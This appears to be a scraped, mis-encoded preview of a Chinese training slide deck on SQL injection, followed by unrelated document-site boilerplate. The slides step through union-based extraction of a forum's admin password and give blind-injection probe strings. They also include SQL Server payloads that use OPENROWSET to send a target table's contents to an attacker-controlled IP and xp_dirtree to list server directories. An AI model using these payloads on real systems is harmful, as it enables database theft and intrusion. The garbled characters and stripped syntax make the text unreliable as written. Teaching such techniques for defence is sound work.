46、信息。SQL Injection:Step 7學(xué)員練習(xí)學(xué)員練習(xí)20Min84調(diào)整union第一句的條件為“不可能滿足”,這樣顯示出來的始終是第二句,即使為nullSQL Injection:Step 8學(xué)員練習(xí)學(xué)員練習(xí)20Min這兩個位置顯示的是30項null中的某兩個。因此可以利用這里來回顯信息!85需要找到這兩個數(shù)據(jù)位于30個null中的何處。首先試驗把第二個null換成字符型的null。錯誤提示不是告訴類型不匹配,而是說有語法錯誤。從而再次確認:開發(fā)者用替換了。SQL Injection:Step 9學(xué)員練習(xí)學(xué)員練習(xí)20Min86要寫出不帶的sql語句并不困難。如果您對SQL語法熟悉的話
47、,就知道有一個char函數(shù)可供利用。SQL Injection:Step 10學(xué)員練習(xí)學(xué)員練習(xí)20Min64是的ASCII碼數(shù)值,10進制。成功回顯87SQL Injection:Step 11學(xué)員練習(xí)學(xué)員練習(xí)20Min第二個null位置回顯于此處試出兩個回顯點的位置:第四個null位置回顯于此處88SQL Injection:Step 12學(xué)員練習(xí)學(xué)員練習(xí)20Min把后面的sql替換成select null,password,null,.,null from users的形式,希望能顯示一個密碼,但是失敗了。系統(tǒng)不存在users表。再猜測幾個表發(fā)現(xiàn)依然失敗??磥韮H僅靠猜測是不行的。89不同的
48、數(shù)據(jù)庫都有系統(tǒng)表,可以利用來枚舉表結(jié)構(gòu)不同的數(shù)據(jù)庫都有系統(tǒng)表,可以利用來枚舉表結(jié)構(gòu)在不同的DBMS枚舉表結(jié)構(gòu)MS SQLSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 表名 )sp_columns tablename (這個存儲過程可以列舉表的字段名)MySQLshow columns from tablenameOracleSELECT * FROM all_tab_columnsWHERE table_name=表名90數(shù)據(jù)庫系統(tǒng)表數(shù)據(jù)庫系統(tǒng)表OracleSYS.USER_OBJE
49、CTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases91SQL Injection:Step 13學(xué)員練習(xí)學(xué)員練習(xí)20Min查詢一下是否有列名為pass(word)的表,首先簡單測試一下:S
50、elect name from syscolumns where name like %p%結(jié)果提示錯誤!原因:服務(wù)器自動進行URL解碼。除了把%20轉(zhuǎn)化為空格外,還會把+轉(zhuǎn)化為空格。因此數(shù)據(jù)庫查詢變成了 like % p %92SQL Injection:Step 14學(xué)員練習(xí)學(xué)員練習(xí)20Min解決辦法:用+的URL編碼后的形式%2B,服務(wù)器解碼后就成了+。結(jié)果如下:有一列為parent_obj符合條件93SQL Injection:Step 15學(xué)員練習(xí)學(xué)員練習(xí)20Min下面的查詢列出所有含有類似pass列的表名和列名:Select , syscolumns.
51、name from syscolumns, sysobjects where like %pass% and sysobject.type=U and sysobject.id=syscolumns.id系統(tǒng)中有一個FORUM_FORUM表,含有一列F_PASSWORD_NEW94SQL Injection:Step 16學(xué)員練習(xí)學(xué)員練習(xí)20Min但是我們對Forum_Forum這個表不感興趣,所以查一下結(jié)果數(shù)目。使用count(*)查詢結(jié)果為2;95SQL Injection:Step 17學(xué)員練習(xí)學(xué)員練習(xí)20Min因此對后一句使用order by 2 des
52、c(可以反復(fù)多試一下不同的排序方式)直到最后顯示出表名FORUM_MEMBERS中含有M_PASSWORD列;96SQL Injection:Case學(xué)員練習(xí)學(xué)員練習(xí)20Min猜測還有M_NAME一列。最后查詢出系統(tǒng)含有admin用戶,其口令為admin。97充分利用系統(tǒng)的錯誤提示信息;充分利用union查詢,這種方式幾乎適合于所有的數(shù)據(jù)庫類型,是最為普遍的一種暴庫方法;union時首先利用order by檢查數(shù)據(jù)項,再用null做通配滿足數(shù)據(jù)類型一致,注意使用union all;充分利用系統(tǒng)回顯,如果回顯只能顯示一項數(shù)據(jù),那么對union之前的查詢設(shè)置“不能滿足的條件”,對union之后的語
53、句采用order by調(diào)整顯示的順序;結(jié)合系統(tǒng)表枚舉表結(jié)構(gòu);注意利用特殊方法來繞開系統(tǒng)的過濾,如char()繞開對的過濾;注意“加號”的URL編碼;注意考慮程序員的習(xí)慣,例如asp里程序員一般都會把用代替,但是有時候會忽略數(shù)字項的注入漏洞。例如根據(jù)列名M_PASSWORD可以猜測出還有一列名為M_NAME總結(jié)總結(jié)98盲注入(Blind Injection):如果系統(tǒng)屏蔽了詳細的錯誤信息,那么對攻擊者而言就是盲注入。盲注入并非是全盲,可以充分利用系統(tǒng)的回顯空間;例如前面的實例,對于有經(jīng)驗的攻擊者,完全可以拋開那些錯誤信息直接注入。如果連回顯也沒有(比如Mysql 4.0版本以下不支持UNION查
54、詢),那么就要利用在正確與錯誤之間,依然可以獲取的1Bit的信息量;如果看不到具體的錯誤信息:盲注入如果看不到具體的錯誤信息:盲注入99and exists (select * from admin where id=1 and len(name)5),返回正常說明長度大于5,and exists (select * from admin where id=1 and len(name)7),返回錯誤說明長度小于7,and exists (select * from admin where id=1 and mid(password,1,1)=a) , 返回正常說明密碼第一個字符是英文(0=4
55、8,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=z) ,返回正常說明密碼第一個字符是小寫英文(0=48,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=m ,返回錯誤說明密碼第一個字符在n到z之間,最好用工具,例如前面提到的最好用工具,例如前面提到的Formbrute;要利用數(shù)據(jù)庫字符串處理函數(shù)如要利用數(shù)據(jù)庫字符串處理函數(shù)如mid, len, left等等,不同數(shù)據(jù)庫有差異,等等,不同
56、數(shù)據(jù)庫有差異,最好有速查手冊。最好有速查手冊。 二分法盲注入示例二分法盲注入示例100各系統(tǒng)的區(qū)別(字符串處理)各系統(tǒng)的區(qū)別(字符串處理)MS SQLMySQLAccessOracle長度len(abc)=3length(abc)=3len(abc)=3length(abc)=3截取左右left(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bcleft(abc,2)=abright (abc,2)=bc用substr代替截取中間substring(abc,2,1)=bsubstring(abc,2,1)=bmid(abc,2,1)=
57、bmid(abc,2,1)=bsubstr (abc,2,1)=b字符串連接 + concat ( , ) & | 101各系統(tǒng)的區(qū)別(二)各系統(tǒng)的區(qū)別(二)MS SQLMySQLAccessOracle聯(lián)合查詢YN4.0Y 4.0YY子查詢YN4.1Y 4.1NY多句查詢YNNN默認存儲過程非常多NN非常多102高級高級SQL注入:利用數(shù)據(jù)庫的高級特性注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQL Server:黑客在本地運行SQL Server,并創(chuàng)建一個與服務(wù)器端target_table結(jié)構(gòu)一樣的表my_table,就可以利用此命令將服務(wù)器表的數(shù)據(jù)全部導(dǎo)到本地;其中sa:Pass123是
58、黑客SQL Server的登錄信息,myIP是黑客的IP地址,80是SQL Server端口(缺省情況下不是80,這樣是方便反彈連接)Bubble; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from my_table)select * from target_table-103高級高級SQL注入:利用數(shù)據(jù)庫的高級特性注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQL Server:在服務(wù)器端創(chuàng)建temp_table6后,黑客利用此實例所示的xp_dirt
59、ree功能查看c:inetpub下的文件列表,并導(dǎo)出到黑客本地的temp_table6中;可以更換c:inetpub這個參數(shù)為其他目錄,反復(fù)使用此語句,從而對服務(wù)器文件目錄有全面了解。采用/*/作為分割符的原因是這個注入點過濾了空格。Bubbledelete/*/from/*/temp_table6;insert/*/into/*/temp_table6/*/exec/*/master.dbo.xp_dirtree/*/c:inetpub;insert/*/into/*/OPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Addres
60、s=myIP,80;,select/*/*/*/from/*/temp_table6)select/*/*/*/from/*/temp_table6;-104高級高級SQL注入:利用數(shù)據(jù)庫的高級特性注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于Oracle 9i及其以上版本:第一句查詢當(dāng)前數(shù)據(jù)庫表中的用戶表(非系統(tǒng)表),并獲取排名最前的一個,假設(shè)返回結(jié)果為SYS_GN。第二句查詢將所有的用戶表名連接為一個字符串輸出,適合于只有一個回顯點時探測數(shù)據(jù)庫結(jié)構(gòu)。Bubbleselect table_name from user_tables order by table_name;select max(sy
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 工業(yè)品買賣合同書
- 康雙的離婚協(xié)議書
- 三農(nóng)村生態(tài)建設(shè)實施指南
- 工程監(jiān)理承包合同
- 云計算在企業(yè)IT架構(gòu)中應(yīng)用教程
- 運動訓(xùn)練方法與技巧指南
- 軟件測試流程與質(zhì)量保障作業(yè)指導(dǎo)書
- 臨設(shè)工程勞務(wù)分包合同
- 網(wǎng)絡(luò)安全威脅防范與應(yīng)對作業(yè)指導(dǎo)書
- 鋼渣購銷合同
- Starter Unit 1 Hello!說課稿2024-2025學(xué)年人教版英語七年級上冊
- 2025年初中語文:春晚觀后感三篇
- Unit 7 第3課時 Section A (Grammar Focus -4c)(導(dǎo)學(xué)案)-【上好課】2022-2023學(xué)年八年級英語下冊同步備課系列(人教新目標(biāo)Go For It!)
- 《教育強國建設(shè)規(guī)劃綱要(2024-2035年)》解讀講座
- 《基于新課程標(biāo)準(zhǔn)的初中數(shù)學(xué)課堂教學(xué)評價研究》
- 省級產(chǎn)業(yè)園區(qū)基礎(chǔ)設(shè)施項目可行性研究報告
- 預(yù)算績效評價管理機構(gòu)入圍投標(biāo)文件(技術(shù)方案)
- 2019北師大版高中英語選擇性必修四單詞表
- 園藝產(chǎn)品的品質(zhì)講義
- 鋼筋混凝土框架結(jié)構(gòu)工程監(jiān)理的質(zhì)量控制
- 桃花節(jié)活動方案
評論
0/150
提交評論